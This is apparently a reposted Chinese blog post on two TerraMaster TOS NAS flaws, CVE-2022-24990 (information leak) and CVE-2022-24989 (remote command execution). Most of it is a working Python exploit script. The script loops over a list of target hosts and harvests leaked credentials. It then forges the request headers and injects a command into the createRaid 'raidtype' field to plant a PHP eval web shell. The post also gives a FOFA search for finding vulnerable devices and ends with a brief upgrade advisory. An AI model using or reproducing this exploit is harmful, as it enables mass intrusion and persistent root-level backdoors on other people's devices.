TerraMaster TOS 远程命令执行(CVE-2022-24989)TerraMaster TOS 敏感信息泄露(CVE-2022-24990)


一、漏洞名称

TerraMaster TOS 远程命令执行(CVE-2022-24989)

TerraMaster TOS 敏感信息泄露(CVE-2022-24990)


二、影响版本

TerraMaster NAS 4.2.x < 4.2.30


三、漏洞危害

远程命令执行 敏感信息泄露


四、POC & EXP ¤

import time, requests,re,hashlib,json


def usage():
    print("""
    用法:poc.py
    前提:在脚本所在文件夹下放入:host.txt  目标
    
    """)

def poc_getinfo(target):
    print("[+]正则检测:{}".format(target))
    headers = {"User-Agent": "TNAS"}
    payload = target + "/module/api.php?mobile/webNasIPS"
    try:
        req = requests.get(url=payload, headers=headers).content.decode("utf-8")
        if "successful" in req:
            print("[+]存在信息泄露漏洞:{}".format(payload))
            print('    [-]泄露信息:' + req)
            with open("poc1_vul.txt", "a+", encoding="utf-8") as f:
                f.write(payload + '\n')
            poc_execute(req,target)
    except:
        pass


def poc_execute(req,target):
    print("[+]开始进行命令执行检测---")
    req = str(req)
    mac = str(re.findall(r"ADDR:(.*?)\\", req)[0][-6:])
    authorization = re.findall(r"PWD:(.*?)\\", req)[0]
    timestamp = str(int(time.time()))
    signature = hashlib.md5((mac + timestamp).encode("utf-8")).hexdigest()
    webshell_name = "qLsvVqr.php"	#shell文件名称
    webshell_pass = "ant"			#shell密码
    command = 'echo \'<?php @eval($_POST["' + webshell_pass + '"]);?>\'>' + webshell_name
    data = {'raidtype': ';'+command, 'diskstring': 'XXXX'}
    headers = {"Authorization": authorization, "Signature": signature, "Timestamp": timestamp, "User-Agent": "TNAS"}
    payload = target+ '/module/api.php?mobile/createRaid'
    req2 = requests.post(url=payload,headers=headers,data=data).content.decode("utf-8")
    if "successful" in req2:
        print("[+]命令执行成功,成功写入shell文件,文件地址:{}".format(target+'/module/qLsvVqr.php'))


if __name__ == '__main__':
    usage()
    with open("host.txt", 'r', encoding="utf-8") as f:
        temp = f.readlines()
    for target in temp:  # 此处可以遍历url文件
        target = target.strip().rstrip("/")
        poc_getinfo(target)

五、资产搜索

fofa: app=“TERRAMASTER-NAS”


六、漏洞背景 / 参考 / 延申

TerraMaster TOS 可能允许经过身份验证的远程攻击者在系统上执行任意命令,这是由 createRaid 模块中的缺陷引起的。通过发送特制命令,攻击者可以利用此漏洞在系统上以 root 身份执行任意命令。


七、漏洞复现步骤 ¤

*原理

远程命令执行漏洞是由信息泄露漏所引发的,借由泄露的信息构造新的header,构造mac Authorization Signature Timestamp这四个参数,发送新的请求完成远程命令执行。

* 方法

1、使用fofa搜寻存在漏洞的资产
在这里插入图片描述

2、访问首页发现存在漏洞。
在这里插入图片描述

3、使用poc上传shell
在这里插入图片描述

4、shell成功执行。
在这里插入图片描述

八、避坑情况 / 问题汇总


九、修复建议

更新至最新版4.2.31 或更高版本

猜你喜欢

转载自blog.csdn.net/weixin_41308444/article/details/126580177